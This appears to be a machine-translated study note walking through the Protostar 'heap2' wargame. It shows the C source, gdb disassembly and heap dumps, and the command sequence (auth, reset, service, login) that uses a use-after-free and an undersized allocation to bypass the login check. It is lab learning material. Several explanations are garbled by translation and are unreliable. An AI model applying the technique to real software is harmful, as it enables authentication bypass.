Security_RNRF
0x23. 본문
23. The Heap: How do use-after-free exploits work? - bin.0x16
: Let's take apart the very common problem that still happens continuously: "heap2”.
-> Let's understand the code first.
: C code(/opt/protostar/bin/heap2)
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
struct auth {
char name[32];
int auth;
};
struct auth *auth; # pointers(addresses)
char *service; # pointers(addresses)
int main(int argc, char **argv)
{
char line[128];
while(1) {
printf("[ auth = %p, service = %p ]\n", auth, service);
if(fgets(line, sizeof(line), stdin) == NULL) break;
if(strncmp(line, "auth ", 5) == 0) {
auth = malloc(sizeof(auth)); # char name 32 bytes + int auth 4 bytes = 36 bytes
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5); # actual safe strcpy
}
}
if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
if(strncmp(line, "login", 5) == 0) { # login, compare “int auth” => “0” OR not “0”
if(auth->auth) {
printf("you have logged in already!\n");
} else {
printf("please enter your password\n");
}
}
}
}
-> Inside "main()" there is a large "while()" loop.
-> Output the variable "auth" for each round.
-> This variable is the pointer to the object in this "auth".
-> And "auth" has a property name that is an integer and a string of up to 32 characters.
-> And the other variable that is output is the "char" pointer, "service." String of memory.
-> Therefore, both are address pointers.(struct auth *auth; & char *service;)
-> Then one line is read from the standard input.
-> Then one line is read from the standard input.
-> There is no buffer overflow.
-> There are then several "if" statements that confirm that the input line is one of the following:
-> It is "auth", "reset", "service" and "login".
: Let's run the program and then talk about each command.
-> ./heap2
[ auth = (nil), service = (nil) ]
-> When you first start the program, both the "auth" and "service" pointers are "null."
-> And waiting for input.
-> Let's take a look at the "auth" command.
-> Entering "auth" assigns the size of the "auth" structure and should be 32 bytes.
-> char name 32 bytes + int auth 4 bytes = 36 bytes
-> Then, overwrite the allocated total memory with zero.
-> If data is continuously allocated and released to the heap, the newly allocated area may have old data.
-> Free space does not zero memory.
-> Allocations are therefore zero here.
-> It then checks the length of the input line so that it does not exceed 32 bytes.
-> The name can be used in the "auth" structure.
-> And if it's safe, it authenticates the text behind the "auth" command.
auth admin
[ auth = 0x804c008, service = (nil) ]
-> You can see that the "auth" variable contains an address.
-> The authentication object is the location on the heap.
-> Now it is the last command, "login," and if the integer of the authentication object is not "0", we can log in successfully.
-> If it is not, you will be prompted to enter your password.
-> In this case, there are no more functions.
login
please enter your password
[ auth = 0x804c008, service = (nil) ]
: But imagine trying to log in as an administrator without knowing my password.
-> So our goal is to set the integer value and get the certificate.
-> Integer authentication does not seem possible at the moment because it is not set anywhere.
: We have learned from the beginning that there are bugs that can modify the variables.
->if(strncmp(line, "reset", 5) == 0) {
free(auth);
}
-> Here another command is reset to release the authentication object from the heap.
-> And this is actually where there is a problem.
reset
[ auth = 0x804c008, service = (nil) ]
-> Resetting the login process releases the authentication object, but the "auth" variable does not reset to "0" and still includes a pointer to the heap.
login
please enter your password
[ auth = 0x804c008, service = (nil) ]
-> For example, if you log in now, check the name property of the object.
-> It has not been changed, so we are still not certified.
-> However, the "login" command was used after the variable "auth" was just released.
-> use-after-free
: Now the last command is "service".
if(strncmp(line, "service", 6) == 0) {
service = strdup(line + 7);
}
service hack
[ auth = 0x804c008, service = 0x804c008 ]
-> For example, a hacking service can be specified to be used.
-> And now there is an address in the "service" variable.
-> And strangely, it's the same as "auth".
: What is the “strdup”?
-> man strdup
DESCRIPTION
The strdup() function returns a pointer to a new string which is a
duplicate of the string s. Memory for the new string is obtained with
malloc(3), and can be freed with free(3).
-> "strdup" returns the pointer for the new string that duplicates the string "s".
-> Memory for the new string is obtained using "malloc" and can be released free of charge.
-> A convenient function that allocate the length of the string.
-> Deliver it and copy it there.
-> Therefore, call "malloc" to assign objects to the heap.
-> And you can guess why "auth" had the same address as "auth."
-> There was free space and the service secured free space.
: Let's check this out with "gdb."
-> gdb ./heap2
-> set disassembly-flavor intel
-> disassemble main
Dump of assembler code for function main:
0x08048934 <main+0>: push ebp
0x08048935 <main+1>: mov ebp,esp
0x08048937 <main+3>: and esp,0xfffffff0
0x0804893a <main+6>: sub esp,0x90
0x08048940 <main+12>: jmp 0x8048943 <main+15>
0x08048942 <main+14>: nop
0x08048943 <main+15>: mov ecx,DWORD PTR ds:0x804b5f8
0x08048949 <main+21>: mov edx,DWORD PTR ds:0x804b5f4
0x0804894f <main+27>: mov eax,0x804ad70
0x08048954 <main+32>: mov DWORD PTR [esp+0x8],ecx
0x08048958 <main+36>: mov DWORD PTR [esp+0x4],edx
0x0804895c <main+40>: mov DWORD PTR [esp],eax
0x0804895f <main+43>: call 0x804881c <printf@plt>
0x08048964 <main+48>: mov eax,ds:0x804b164
0x08048969 <main+53>: mov DWORD PTR [esp+0x8],eax
0x0804896d <main+57>: mov DWORD PTR [esp+0x4],0x80
0x08048975 <main+65>: lea eax,[esp+0x10]
0x08048979 <main+69>: mov DWORD PTR [esp],eax
0x0804897c <main+72>: call 0x80487ac <fgets@plt>
0x08048981 <main+77>: test eax,eax
0x08048983 <main+79>: jne 0x8048987 <main+83>
0x08048985 <main+81>: leave
0x08048986 <main+82>: ret
0x08048987 <main+83>: mov DWORD PTR [esp+0x8],0x5
0x0804898f <main+91>: mov DWORD PTR [esp+0x4],0x804ad8d
0x08048997 <main+99>: lea eax,[esp+0x10]
0x0804899b <main+103>: mov DWORD PTR [esp],eax
0x0804899e <main+106>: call 0x804884c <strncmp@plt>
0x080489a3 <main+111>: test eax,eax
0x080489a5 <main+113>: jne 0x8048a01 <main+205>
0x080489a7 <main+115>: mov DWORD PTR [esp],0x4
0x080489ae <main+122>: call 0x804916a <malloc>
0x080489b3 <main+127>: mov ds:0x804b5f4,eax
0x080489b8 <main+132>: mov eax,ds:0x804b5f4
0x080489bd <main+137>: mov DWORD PTR [esp+0x8],0x4
0x080489c5 <main+145>: mov DWORD PTR [esp+0x4],0x0
0x080489cd <main+153>: mov DWORD PTR [esp],eax
0x080489d0 <main+156>: call 0x80487bc <memset@plt>
0x080489d5 <main+161>: lea eax,[esp+0x10]
0x080489d9 <main+165>: add eax,0x5
0x080489dc <main+168>: mov DWORD PTR [esp],eax
0x080489df <main+171>: call 0x80487fc <strlen@plt>
0x080489e4 <main+176>: cmp eax,0x1e
0x080489e7 <main+179>: ja 0x8048a01 <main+205>
0x080489e9 <main+181>: lea eax,[esp+0x10]
0x080489ed <main+185>: lea edx,[eax+0x5]
0x080489f0 <main+188>: mov eax,ds:0x804b5f4
0x080489f5 <main+193>: mov DWORD PTR [esp+0x4],edx
0x080489f9 <main+197>: mov DWORD PTR [esp],eax
0x080489fc <main+200>: call 0x804880c <strcpy@plt>
0x08048a01 <main+205>: mov DWORD PTR [esp+0x8],0x5
0x08048a09 <main+213>: mov DWORD PTR [esp+0x4],0x804ad93
0x08048a11 <main+221>: lea eax,[esp+0x10]
0x08048a15 <main+225>: mov DWORD PTR [esp],eax
0x08048a18 <main+228>: call 0x804884c <strncmp@plt>
0x08048a1d <main+233>: test eax,eax
0x08048a1f <main+235>: jne 0x8048a2e <main+250>
0x08048a21 <main+237>: mov eax,ds:0x804b5f4
0x08048a26 <main+242>: mov DWORD PTR [esp],eax
0x08048a29 <main+245>: call 0x804999c <free>
0x08048a2e <main+250>: mov DWORD PTR [esp+0x8],0x6
0x08048a36 <main+258>: mov DWORD PTR [esp+0x4],0x804ad99
0x08048a3e <main+266>: lea eax,[esp+0x10]
0x08048a42 <main+270>: mov DWORD PTR [esp],eax
0x08048a45 <main+273>: call 0x804884c <strncmp@plt>
0x08048a4a <main+278>: test eax,eax
0x08048a4c <main+280>: jne 0x8048a62 <main+302>
0x08048a4e <main+282>: lea eax,[esp+0x10]
0x08048a52 <main+286>: add eax,0x7
0x08048a55 <main+289>: mov DWORD PTR [esp],eax
0x08048a58 <main+292>: call 0x804886c <strdup@plt>
0x08048a5d <main+297>: mov ds:0x804b5f8,eax
0x08048a62 <main+302>: mov DWORD PTR [esp+0x8],0x5
0x08048a6a <main+310>: mov DWORD PTR [esp+0x4],0x804ada1
0x08048a72 <main+318>: lea eax,[esp+0x10]
0x08048a76 <main+322>: mov DWORD PTR [esp],eax
0x08048a79 <main+325>: call 0x804884c <strncmp@plt>
0x08048a7e <main+330>: test eax,eax
0x08048a80 <main+332>: jne 0x8048942 <main+14>
0x08048a86 <main+338>: mov eax,ds:0x804b5f4
0x08048a8b <main+343>: mov eax,DWORD PTR [eax+0x20]
0x08048a8e <main+346>: test eax,eax
0x08048a90 <main+348>: je 0x8048aa3 <main+367>
0x08048a92 <main+350>: mov DWORD PTR [esp],0x804ada7
0x08048a99 <main+357>: call 0x804883c <puts@plt>
0x08048a9e <main+362>: jmp 0x8048943 <main+15>
0x08048aa3 <main+367>: mov DWORD PTR [esp],0x804adc3
0x08048aaa <main+374>: call 0x804883c <puts@plt>
0x08048aaf <main+379>: jmp 0x8048943 <main+15>
End of assembler dump.
-> Run first and use "auth" once. Perform at least one "malloc".
-> r
Starting program: /opt/protostar/bin/heap2
[ auth = (nil), service = (nil) ]
-> auth admin
[ auth = 0x804c008, service = (nil) ]
-> Then press "ctrl+c" and check the heap address with "info proc mappings".
-> Ctrl+C
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
Current language: auto
The current source language is "auto; currently asm".
-> info proc mappings
process 5484
cmdline = '/opt/protostar/bin/heap2'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap2'
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x804b000 0x3000 0 /opt/protostar/bin/heap2
0x804b000 0x804c000 0x1000 0x3000 /opt/protostar/bin/heap2
0x804c000 0x804d000 0x1000 0 [heap]
0xb7e96000 0xb7e97000 0x1000 0
0xb7e97000 0xb7fd5000 0x13e000 0 /lib/libc-2.11.2.so
0xb7fd5000 0xb7fd6000 0x1000 0x13e000 /lib/libc-2.11.2.so
0xb7fd6000 0xb7fd8000 0x2000 0x13e000 /lib/libc-2.11.2.so
0xb7fd8000 0xb7fd9000 0x1000 0x140000 /lib/libc-2.11.2.so
0xb7fd9000 0xb7fdc000 0x3000 0
0xb7fde000 0xb7fe2000 0x4000 0
0xb7fe2000 0xb7fe3000 0x1000 0 [vdso]
0xb7fe3000 0xb7ffe000 0x1b000 0 /lib/ld-2.11.2.so
0xb7ffe000 0xb7fff000 0x1000 0x1a000 /lib/ld-2.11.2.so
0xb7fff000 0xb8000000 0x1000 0x1b000 /lib/ld-2.11.2.so
0xbffeb000 0xc0000000 0x15000 0 [stack]
-> Now we can print 20 words from the heap with the investigation.
-> x/20wx 0x804c000
0x804c000: 0x00000000 0x00000011 0x696d6461 0x00000a6e
0x804c010: 0x00000000 0x00000ff1 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
-> Also, since this application still has all the symbols and content inside the binary, "gdb" knows that "auth" is of the "structural auth" type.
-> print auth
$1 = (struct auth *) 0x804c008
-> print *auth
$2 = {name = "admin\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0}
-> Here you can see the string name and the binary integer.
-> The same can be done for service strings.
-> print service
$3 = 0x0
-> Now let's make a break point before "printf()".
-> break *0x0804895f
-> And by command we can enter which "gdb" commands will be executed when this breakpoint is reached.
-> You can use "echo" to print some strings to make them look prettier.
-> command
> echo ————————————————————————————————————————————————————————————————————\n
> x/20wx 0x804c000
> echo ——auth——————————————————————————————————————————————————————————————\n
> print *auth
> echo ——service———————————————————————————————————————————————————————————\n
> print service
> echo ————————————————————————————————————————————————————————————————————\n
> continue
> end
-> Now let's try the binary again.
-> r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap2
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 heap2/heap2.c: No such file or directory.
in heap2/heap2.c
Current language: auto
The current source language is "auto; currently c".
-----------------------------------------------------------------
0x804c000: Cannot access memory at address 0x804c000
-> Initially, some memory errors occur because the heap is not yet present.
-> c
Continuing.
[ auth = (nil), service = (nil) ]
-> auth admin
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 in heap2/heap2.c
-----------------------------------------------------------------
0x804c000: 0x00000000 0x00000011 0x696d6461 0x00000a6e
0x804c010: 0x00000000 0x00000ff1 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
--auth-----------------------------------------------------------
$4 = {
name = "admin\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>,
auth = 0}
--service--------------------------------------------------------
$5 = 0x0
-----------------------------------------------------------------
[ auth = 0x804c008, service = (nil) ]
-> Ctrl+c
^C
Program received signal SIGINT, Interrupt.
0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82 ../sysdeps/unix/syscall-template.S: No such file or directory.
in ../sysdeps/unix/syscall-template.S
Current language: auto
The current source language is "auto; currently asm".
-> set pagination off
-> c
Continuing.
-> Enter key
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 heap2/heap2.c: No such file or directory.
in heap2/heap2.c
Current language: auto
The current source language is "auto; currently c".
-----------------------------------------------------------------
0x804c000: 0x00000000 0x00000011 0x696d6461 0x00000a6e # 0x696d6461 = “admi” & 0x00000a6e = “n\n” / 0x00000011 => chunk header: Length
0x804c010: 0x00000000 0x00000ff1 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
--auth-----------------------------------------------------------
$6 = {name = "admin\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0}
--service--------------------------------------------------------
$7 = 0x0
-----------------------------------------------------------------
[ auth = 0x804c008, service = (nil) ]
-> Now you can see "heap."
-> As expected, here is a lump named "admin".
-> But something's wrong. Why is this "chunk" about the length of a hexadecimal 10?
-> Shouldn't it be 32 bytes "name" + 4 bytes "auth" = 36 bytes?
-> In fact, this is not so important.
-> reset
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 in heap2/heap2.c
-----------------------------------------------------------------
0x804c000: 0x00000000 0x00000011 0x00000000 0x00000a6e # 0x00000011 = Length & 0x00000000 = prev ptr
0x804c010: 0x00000000 0x00000ff1 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
--auth-----------------------------------------------------------
$8 = {name = "\000\000\000\000n\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0}
--service--------------------------------------------------------
$9 = 0x0
-----------------------------------------------------------------
[ auth = 0x804c008, service = (nil) ]
-> Basically nothing changes.
-> Except that the first word of the "chunk" data was changed to "0".
-> This is because the first word for free "chunk" was defined as the previous free "chunk."
-> A linked list is available "chunk".
-> But we don't have any other empty chunks on this list, so it's "null."
-> Not many things actually happen other than the "malloc" algorithm.
-> Anyway we can see that the "auth" object still has a pointer in its heap.
-> But the name is now empty with "null" and the integer is still "null."
-> However, use "service" to assign a string to the heap.
-> Assigns only recognizable characters.
-> service AAA
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 in heap2/heap2.c
-----------------------------------------------------------------
0x804c000: 0x00000000 0x00000011 0x41414120 0x0000000a
0x804c010: 0x00000000 0x00000ff1 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
--auth-----------------------------------------------------------
$10 = {name = " AAA\n\000\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0}
--service--------------------------------------------------------
$11 = 0x804c008 " AAA\n"
-----------------------------------------------------------------
[ auth = 0x804c008, service = 0x804c008 ]
-> Here you can see that a string has been assigned from the heap.
-> And you can see that the name of the "auth" object now has a different value.
-> Now, let's assign a new string to "service."
-> service BBB
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 in heap2/heap2.c
-----------------------------------------------------------------
0x804c000: 0x00000000 0x00000011 0x41414120 0x0000000a
0x804c010: 0x00000000 0x00000011 0x42424220 0x0000000a
0x804c020: 0x00000000 0x00000fe1 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
--auth-----------------------------------------------------------
$12 = {name = " AAA\n\000\000\000\000\000\000\000\021\000\000\000 BBB\n\000\000\000\000\000\000\000\341\017\000", auth = 0}
--service--------------------------------------------------------
$13 = 0x804c018 " BBB\n"
-----------------------------------------------------------------
[ auth = 0x804c008, service = 0x804c018 ]
-> service CCC
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 in heap2/heap2.c
-----------------------------------------------------------------
0x804c000: 0x00000000 0x00000011 0x41414120 0x0000000a
0x804c010: 0x00000000 0x00000011 0x42424220 0x0000000a
0x804c020: 0x00000000 0x00000011 0x43434320 0x0000000a # 0x43434320 = “ CCC”
0x804c030: 0x00000000 0x00000fd1 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
--auth-----------------------------------------------------------
$14 = {name = " AAA\n\000\000\000\000\000\000\000\021\000\000\000 BBB\n\000\000\000\000\000\000\000\021\000\000", auth = 1128481568}
--service--------------------------------------------------------
$15 = 0x804c028 " CCC\n"
-----------------------------------------------------------------
[ auth = 0x804c008, service = 0x804c028 ]
-> You can see the heap filling slowly.
-> And suddenly, the certification integer is very expensive.
-> And if you log in now, you will see a message that you have already logged in.
-> login
you have logged in already!
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 in heap2/heap2.c
-----------------------------------------------------------------
0x804c000: 0x00000000 0x00000011 0x41414120 0x0000000a
0x804c010: 0x00000000 0x00000011 0x42424220 0x0000000a
0x804c020: 0x00000000 0x00000011 0x43434320 0x0000000a
0x804c030: 0x00000000 0x00000fd1 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
--auth-----------------------------------------------------------
$16 = {name = " AAA\n\000\000\000\000\000\000\000\021\000\000\000 BBB\n\000\000\000\000\000\000\000\021\000\000", auth = 1128481568}
--service--------------------------------------------------------
$17 = 0x804c028 " CCC\n"
-----------------------------------------------------------------
[ auth = 0x804c008, service = 0x804c028 ]
-> As mentioned earlier, the code is so tricky that it allocates the wrong size for authentication.
: Let's restart and re-certify with administrator privileges.
-> Ctrl+C
-> r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap2
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 heap2/heap2.c: No such file or directory.
in heap2/heap2.c
Current language: auto
The current source language is "auto; currently c".
-----------------------------------------------------------------
0x804c000: Cannot access memory at address 0x804c000
-> c
Continuing.
[ auth = (nil), service = (nil) ]
auth admin
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 in heap2/heap2.c
-----------------------------------------------------------------
0x804c000: 0x00000000 0x00000011 0x696d6461 0x00000a6e
0x804c010: 0x00000000 0x00000ff1 0x00000000 0x00000000
0x804c020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c030: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
--auth-----------------------------------------------------------
$18 = {name = "admin\n\000\000\000\000\000\000\361\017", '\000' <repeats 17 times>, auth = 0}
--service--------------------------------------------------------
$19 = 0x0
-----------------------------------------------------------------
[ auth = 0x804c008, service = (nil) ]
-> service AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 in heap2/heap2.c
-----------------------------------------------------------------
0x804c000: 0x00000000 0x00000011 0x696d6461 0x00000a6e
0x804c010: 0x00000000 0x00000029 0x41414120 0x41414141
0x804c020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c030: 0x41414141 0x00000a41 0x00000000 0x00000fc9
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
--auth-----------------------------------------------------------
$20 = {name = "admin\n\000\000\000\000\000\000)\000\000\000 ", 'A' <repeats 15 times>, auth = 1094795585}
--service--------------------------------------------------------
$21 = 0x804c018 " ", 'A' <repeats 28 times>, "\n"
-----------------------------------------------------------------
[ auth = 0x804c008, service = 0x804c018 ]
-> login
you have logged in already!
Breakpoint 1, 0x0804895f in main (argc=1, argv=0xbffff864) at heap2/heap2.c:20
20 in heap2/heap2.c
-----------------------------------------------------------------
0x804c000: 0x00000000 0x00000011 0x696d6461 0x00000a6e
0x804c010: 0x00000000 0x00000029 0x41414120 0x41414141
0x804c020: 0x41414141 0x41414141 0x41414141 0x41414141
0x804c030: 0x41414141 0x00000a41 0x00000000 0x00000fc9
0x804c040: 0x00000000 0x00000000 0x00000000 0x00000000
--auth-----------------------------------------------------------
$22 = {name = "admin\n\000\000\000\000\000\000)\000\000\000 ", 'A' <repeats 15 times>, auth = 1094795585}
--service--------------------------------------------------------
$23 = 0x804c018 " ", 'A' <repeats 28 times>, "\n"
-----------------------------------------------------------------
[ auth = 0x804c008, service = 0x804c018 ]
-> “use-after-free”, Success!